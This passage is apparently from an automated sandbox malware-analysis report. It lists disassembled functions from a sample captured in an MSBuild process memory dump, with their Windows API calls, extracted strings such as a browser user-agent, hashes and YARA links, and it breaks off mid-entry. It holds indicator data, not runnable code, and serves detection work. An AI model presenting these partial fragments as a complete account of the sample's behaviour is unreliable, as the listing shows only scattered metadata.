API String ID: 3438448461-3949020348
Opcode ID: 663b295ad1e004887a0d64917906e1e8d2841d4388c1b4ab8657af88b613dfc7
Instruction ID: dfeebe113d482a7fc0d3fabec27dd4a5e230ccde294820cd5b2b94538c26df42
Opcode Fuzzy Hash: 663b295ad1e004887a0d64917906e1e8d2841d4388c1b4ab8657af88b613dfc7
Instruction Fuzzy Hash: B7B1F7B4E00208EBEB14CF95DC95BEEBBB5BF48704F108159E605BB280D7B9AA05DF54

Function 00557682 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea39bd72b4469cb3e6f5953d31d5c595cd9ad22dc9afcdde99cbbff7fb928db5
Instruction ID: 7d99da20ef12af29ccd29c4ddb17e5e6c5c7c828da3b2614929e8c5234eecdb2
Opcode Fuzzy Hash: ea39bd72b4469cb3e6f5953d31d5c595cd9ad22dc9afcdde99cbbff7fb928db5
Instruction Fuzzy Hash: 58B11374A0824A9BDF11DFA8EC65BAD7FB0BF4D301F24015AEC45AB292C7709949CB60

Function 0050BE90 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 135
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(00000000,00000000,aaj38,?), ref: 0050BFF0
GetProcessHeap.KERNEL32(00000008,-00000001,00000000,aaj38,?), ref: 0050C013
HeapAlloc.KERNEL32(00000000), ref: 0050C01A
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 0050C02F

Strings

38a49, xrefs: 0050BFA2, 0050BFD1
aaj38, xrefs: 0050BEF9, 0050BF28

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID: 38a49$aaj38
API String ID: 2211197272-4103302207
Opcode ID: 9580dac5f390adca3b265e61287505e84e2aa1785abe6cfe9d852097683f59fd
Instruction ID: 5e0676a8408f78954a8867b468c635290f1cf33cd0337551ccb9147b7de26194
Opcode Fuzzy Hash: 9580dac5f390adca3b265e61287505e84e2aa1785abe6cfe9d852097683f59fd
Instruction Fuzzy Hash: 8D51FFB0D04249AFEF04DFA8D899BEEBFB1BF48304F10805AE515AB281D7755A85CF94

Function 00431D20 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00431A40: __aulldiv.LIBCMT ref: 00431AFC

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00431DD6

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00431EC1
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00431EF2

Strings

`XA, xrefs: 00431DC3, 00431EAE, 00431EDF
`@, xrefs: 00431DCC, 00431EB7, 00431EE8

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID: `XA$`@
API String ID: 3845869555-3161672447
Opcode ID: a60a9ab66fea74c40637482695fa9900cea410be327952e2ab23aa4d3da5d38c
Instruction ID: a3e28af1a6e542087ac90c1154b64dbc6460663fd420f83dfbf3d43e06370d13
Opcode Fuzzy Hash: a60a9ab66fea74c40637482695fa9900cea410be327952e2ab23aa4d3da5d38c
Instruction Fuzzy Hash: 2651E4B0E042588BDF04DFA4C9957FEBFB1AB86300F6040AAD9056B391DB795E80CB94

Function 0042BB80 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042BCA5
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0000000A,00000000), ref: 0042BE18

Strings

}{, xrefs: 0042BC0F
n{, xrefs: 0042BC5D

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$CreateDirectory
String ID: n{$}{
API String ID: 1884557851-1042045087
Opcode ID: 6ab7070128d06952e5e5aaa6d2302bd675099e40f3905d025e939313535339c8
Instruction ID: 66b9d3cfa06ff6842aa64c5b26630d94d739c78e8baf54dc74469c93df3a3511
Opcode Fuzzy Hash: 6ab7070128d06952e5e5aaa6d2302bd675099e40f3905d025e939313535339c8
Instruction Fuzzy Hash: 06A117B1E002189BDB14CFA9D891BEEBBB5FF88304F14806AE509B7351D7786A45CF54

Function 0050C070 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36, xrefs: 0050C1A8
@L, xrefs: 0050C0B7

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID: @L$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
API String ID: 0-928537598
Opcode ID: c8ce03a3233569af4ac6571cc91ac47f3734f59005d2c83e91e243b44067494e
Instruction ID: cd128c93f7bf3c8193ebd90fc6991d5aa691f55d1707b9aec00d476382a1c62c
Opcode Fuzzy Hash: c8ce03a3233569af4ac6571cc91ac47f3734f59005d2c83e91e243b44067494e
Instruction Fuzzy Hash: 5351C1B5E00209ABDB08DFD9D895BEEBBF5BF88300F10811AE505A7384D7746A41CB94

Function 00416D40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Strings

WA, xrefs: 00416DEB
`XA, xrefs: 00416D73

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: std::ios_base::clear
String ID: WA$`XA
API String ID: 1443086396-855112263
Opcode ID: 9174b6db1c77a7698fd39d58929472cddf39052d8f216809a051ca9c6b75448d
Instruction ID: e507a5a32f7d3b5dcada019a18e74b4090ae13039539df578e4dc11480ba84bb
Opcode Fuzzy Hash: 9174b6db1c77a7698fd39d58929472cddf39052d8f216809a051ca9c6b75448d
Instruction Fuzzy Hash: EC41C774A04209EFDB04DF99C891BAEBBB1FF48304F118199E515AB391C775AE81CF94

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: _com_issue_error$AllocString
String ID:
API String ID: 245909816-0
Opcode ID: 38770064ea28288b514d44249654f2ceda9ca7d077d6ec7c02e66c4bd89a294c
Instruction ID: 0b77db6c1808a706a69a158a1ad001aa90e12922d7a39361793bd48e8c80f6db
Opcode Fuzzy Hash: 38770064ea28288b514d44249654f2ceda9ca7d077d6ec7c02e66c4bd89a294c
Instruction Fuzzy Hash: EB11D7B4900208EFDB00EF94C549B9DBBB1EF44304F2081A9D9096B391D7B9AE86DB85

Function 0054F61E Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0054F618,00000000,0054AEEA,?,?,2BFA49FB,0054AEEA,?), ref: 0054F62F
TerminateProcess.KERNEL32(00000000,?,0054F618,00000000,0054AEEA,?,?,2BFA49FB,0054AEEA,?), ref: 0054F636
ExitProcess.KERNEL32 ref: 0054F648

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 9e78dbbd2fb4bca78452b5b966021151efd374b181a3b1eadfc29377a94dc8f9
Instruction ID: 3f3e1e3b99468d25dce7cab22bc1d67e34f82d963ad3b761a18f6f9253370fe0
Opcode Fuzzy Hash: 9e78dbbd2fb4bca78452b5b966021151efd374b181a3b1eadfc29377a94dc8f9
Instruction Fuzzy Hash: C6D09E3140010DBBDF113F69DC0D99A3F2DBF50355B454024F91987132DB729996EB94

Function 005584FB Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00557C11: GetConsoleOutputCP.KERNEL32(2BFA49FB,00000000,00000000,00000000), ref: 00557C74

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00588A50,00000014,0054F044,00000000,00000000,00000000), ref: 00558680
GetLastError.KERNEL32(?,00000000), ref: 0055868A

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction ID: 7e5d937b40cb86f1a91303876627bbacf9d7c5db9323ae4555d6a3acf967a568
Opcode Fuzzy Hash: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction Fuzzy Hash: 15619FB580011AAFDF11CFA8C895ABEBFB9BB59305F140556EC00B7252EB31D9099B90

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 14857784439bfb0fded491df7ca2f4847927c5f8360138fd09694560756da3c4
Instruction ID: 4da88d6e4580d709966acb3d768c5fb75a167052d54c8e7bb3f1329e39569909
Opcode Fuzzy Hash: 14857784439bfb0fded491df7ca2f4847927c5f8360138fd09694560756da3c4
Instruction Fuzzy Hash: 39617475A00109EFCB04CF98C594AEEBBB2FF88305F2081AAE915A7355D735AE81DF54

Function 0054AD81 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054AD43,?,?,?,?,?), ref: 0054ADBD
GetLastError.KERNEL32(?,?,0054AD43,?,?,?,?,?,00588670,00000018,0054AF14,?,?,?,?,?), ref: 0054ADCA

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 18814e3d3e58956b9308e51246905c2eb57ed305e40aec464cc30f1ce1f8c9c6
Instruction ID: abae82f093606e27b09ad9464b4b3d0b26caf41557f2d5079a521825cfa87877
Opcode Fuzzy Hash: 18814e3d3e58956b9308e51246905c2eb57ed305e40aec464cc30f1ce1f8c9c6
Instruction Fuzzy Hash: B5010436A14115AFCB058F99DC09DDE3F29FB85325B280209F8119B190E671E9419B90

Function 0055A5CE Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0055F161,0041C3C8,00000000,0041C3C8,?,0055F402,0041C3C8,00000007,0041C3C8,?,0055F9F7,0041C3C8,0041C3C8), ref: 0055A5E4
GetLastError.KERNEL32(0041C3C8,?,0055F161,0041C3C8,00000000,0041C3C8,?,0055F402,0041C3C8,00000007,0041C3C8,?,0055F9F7,0041C3C8,0041C3C8), ref: 0055A5EF

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 364a6fa1e6d3d315b57dd3f44d38bfd42cd22917b739c09a8305668c146bf35e
Instruction ID: 181b53875a92b3ffd0e18ca616cb6882ade8f9942b46c1f443859408c2ee667b
Opcode Fuzzy Hash: 364a6fa1e6d3d315b57dd3f44d38bfd42cd22917b739c09a8305668c146bf35e
Instruction Fuzzy Hash: 32E08C32A04204ABDF212FA6EC0DB9A3F58BB403A6F284161FA18D6060DBB09984D795

Function 00557B71 Relevance: 2.6, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,?,00557A58,00000000,?,00588A30,0000000C,00557B14,MT,?), ref: 00557BC7
GetLastError.KERNEL32(?,00557A58,00000000,?,00588A30,0000000C,00557B14,MT,?), ref: 00557BD1

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 8aeb34b1122bea2897089ed340032fffe57dc5e1d5e65b1b18fd8521df8151a0
Instruction ID: 0ea216a494df05932795bb12278c4fed712d76d4d0375f6c705cae6cc8737cf8
Opcode Fuzzy Hash: 8aeb34b1122bea2897089ed340032fffe57dc5e1d5e65b1b18fd8521df8151a0
Instruction Fuzzy Hash: B81159365081185AD62112757C6DB6D2F59BB89B36F28021BFC188B1C2EA648C8C5250

Function 0053E01E Relevance: 1.7, APIs: 1, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0053E659

Part of subcall function 00540B81: RaiseException.KERNEL32(E06D7363,00000001,00000003,BS,?,?,?,?,0053E642,?,00588EB8), ref: 00540BE1

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise
String ID:
API String ID: 1477838251-0
Opcode ID: cda199d53502993a2710c5678e1d9b98c84bcbcd67dc311b76dea8504dea9ae5
Instruction ID: 14de0478b3319b42f1111524a07ecd127b8ee99bbc73f54541f9c991690e3b7d
Opcode Fuzzy Hash: cda199d53502993a2710c5678e1d9b98c84bcbcd67dc311b76dea8504dea9ae5
Instruction Fuzzy Hash: 1A619071D012199BEB14CFA5DC8A7AEBBF4FB54310F24842AD805E7291E3B4AD48DB90

Function 0054E275 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f58bbe6362517f8939d61995812e340540805aafe0ad6d011666f991096d71
Instruction ID: 2084c553b3b9f275e34185bdb693a43adc2e45164d2a0e71ec78a3e3ac0d328b
Opcode Fuzzy Hash: 44f58bbe6362517f8939d61995812e340540805aafe0ad6d011666f991096d71
Instruction Fuzzy Hash: 0851A175A00104AFDF15DF58CC8AAE9BFB1FF89328F248558F8499B252D271EE41CB90

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: c0b83071acae89aeef5c8617323d510e3ce59be0cacf276acdf9a7531c41f33e
Instruction ID: 8e409c15ee317b51c278df72e56b2589d090603ccf85a204518ff5c11603a3ed
Opcode Fuzzy Hash: c0b83071acae89aeef5c8617323d510e3ce59be0cacf276acdf9a7531c41f33e
Instruction Fuzzy Hash: 69519EB4E04249DFCB14CF99D491AEEFBB1BF88310F24815AE915AB395C734A981CF94

Function 00431F00 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 00431FDA

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionCurrentDirectoryVariableWake
String ID:
API String ID: 350265564-0
Opcode ID: dbc8ea72e875d1a7d5035de930d1e3ed69e871ba401cd247bb1193a6ed176ba0
Instruction ID: c310fdeb5a083e577c01ea4250973ffe74c2bb959c660fd7ddc64710599b3d45
Opcode Fuzzy Hash: dbc8ea72e875d1a7d5035de930d1e3ed69e871ba401cd247bb1193a6ed176ba0
Instruction Fuzzy Hash: 3D219EB4D002098FCF14DFA4C8859AEBBB1FF88304F14856AE80667394D735AA49CF96

Function 0042CE20 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32(00000010), ref: 0042CE30

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: ef8258a1911f9aa119110de39289810a1352633f695b1a773551b0307fc6c2c0
Instruction ID: c4707849ce39850d1815e66c25a692d446deca643534161b110d06009653fb30
Opcode Fuzzy Hash: ef8258a1911f9aa119110de39289810a1352633f695b1a773551b0307fc6c2c0
Instruction Fuzzy Hash: 5D11B7B9E40209BFDB00DFE4D846BAEBBB4BB48700F1041A9EA14A7380D6716A009B95

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: c2b78d07dd7f3cfbff7048cadcbd5d1dda04bb57e1d1ea51057e93f20c614c49
Instruction ID: 637604d627c08a5797b21f27af9890a3e9d937d8568771b3f86609c91c159c48
Opcode Fuzzy Hash: c2b78d07dd7f3cfbff7048cadcbd5d1dda04bb57e1d1ea51057e93f20c614c49
Instruction Fuzzy Hash: 40F044F4D0010CEBCB04EFA8C48569EFBB1EF44744F1081AAE80597394D6349F81DB85

Function 00505DC0 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 00505DDD

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: c3283ebcc49ead05c09d04a85b0081c10a98f53f5421f42e89bc2fe436cc3460
Instruction ID: 69b160542b5aa4a94e0e1a4ca8cad9f215157ce83da5b1b946312b634469f634
Opcode Fuzzy Hash: c3283ebcc49ead05c09d04a85b0081c10a98f53f5421f42e89bc2fe436cc3460
Instruction Fuzzy Hash: E8F03CB5C04248ABCB10EFA5D44579EBFB4AB04304F1086AEE4256B2C1E7B99785CF95

Function 00500570 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0050058D

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 00b24e84eee76cbf20e33da27bb64dbea8ba0c9a40d0292b4007061cab9f218c
Instruction ID: 5be3fed50b1487be26c4db14e1e0c1881e0882e204833b123695ebb54087ba8b
Opcode Fuzzy Hash: 00b24e84eee76cbf20e33da27bb64dbea8ba0c9a40d0292b4007061cab9f218c
Instruction Fuzzy Hash: 0FF019B4C0420DAACF14EFA4C8457DDBFF4AB04344F1084AED8052B2C1D6B9A685CF96

Function 0055A608 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0041C3C8,-000927C0,?,0053E038,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 0055A63A

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 244b091494a9223b10e22d2fe82f580e5546466ba498e3e79f547691520d278a
Instruction ID: e165f2d26d049d755007d28cc8c893f0f0b674b215a3186d80bca8f901ef9986
Opcode Fuzzy Hash: 244b091494a9223b10e22d2fe82f580e5546466ba498e3e79f547691520d278a
Instruction Fuzzy Hash: 94E0E531E002126AEA302A759C64B5E3E4DBF917E2F190323AC55D3090DB20CC4986E7

Function 0051C260 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0051C020: SetLastError.KERNEL32(000005B6), ref: 0051C0CF

boost::exception::~exception.LIBCPMTD ref: 0051C2A4

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorLastboost::exception::~exception
String ID:
API String ID: 2030483509-0
Opcode ID: b80183c7910f2b700772a08d66f6a98778b85add2d4a3e2233c493c267d869ec
Instruction ID: 0cecc5c32c56923ef7d3b2b7f9c4b75e7af0e2a042226c3a80d4030c7ffd94ce
Opcode Fuzzy Hash: b80183c7910f2b700772a08d66f6a98778b85add2d4a3e2233c493c267d869ec
Instruction Fuzzy Hash: 4DF08C71840649EBCB04EF94C956BAEBB74FB48720F104368F826636C0DB352E00CB91

Function 0050B800 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000000,?,0050B856,0050BE9F,0000002E,00000000,?,0050BE9F), ref: 0050B810

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: ed10844057c1b7a6d87709e7a6c7987db8c21fb9f038978cef2d85980a570400
Instruction ID: aab9afbd044a45454d1ca288d6f8f96450eb21b76fa42f73f465477230c9ede1
Opcode Fuzzy Hash: ed10844057c1b7a6d87709e7a6c7987db8c21fb9f038978cef2d85980a570400
Instruction Fuzzy Hash: D4F03930A08248EBEB24CFA4C5D046EBFFDAF46745B248699E805D7250E730DF01EB40

Non-executed Functions

Function 0042BF20 Relevance: 21.6, APIs: 6, Strings: 6, Instructions: 551COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042C00E
__aulldiv.LIBCMT ref: 0042C090

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 0042C19E

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,00000000,eks,?), ref: 0042C585

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

__aulldiv.LIBCMT ref: 0042C40D

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

__aulldiv.LIBCMT ref: 0042C707

Strings

n{, xrefs: 0042BF90
n{, xrefs: 0042C38F
j3l6lrek, xrefs: 0042C516, 0042C545
}{, xrefs: 0042BF2E
n{, xrefs: 0042C120
eks, xrefs: 0042C458, 0042C487

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$ExclusiveLock$AcquireRelease$ByteCharConditionMultiVariableWakeWide
String ID: eks$j3l6lrek$n{$n{$n{$}{
API String ID: 2311560058-1750107211
Opcode ID: daded427beaf6ab51e6887970c4daef2da20cfb6ffbde7178a4b528e6bca6720
Instruction ID: 6b2014183b12f033c5891b24d30a2cadf9b4bc5b7f21cbff3ba592744293c2f2
Opcode Fuzzy Hash: daded427beaf6ab51e6887970c4daef2da20cfb6ffbde7178a4b528e6bca6720
Instruction Fuzzy Hash: 8A3209B5E002189FDB24DF64CC95BEEBBB1BB88304F1481A9E509A7380D774AE85CF55

Function 0042C740 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 492COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042C8D2

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042CAD0

Strings

n{, xrefs: 0042C878
n{, xrefs: 0042CA52
n{, xrefs: 0042CCD7
}{, xrefs: 0042C9F1

Memory Dump Source

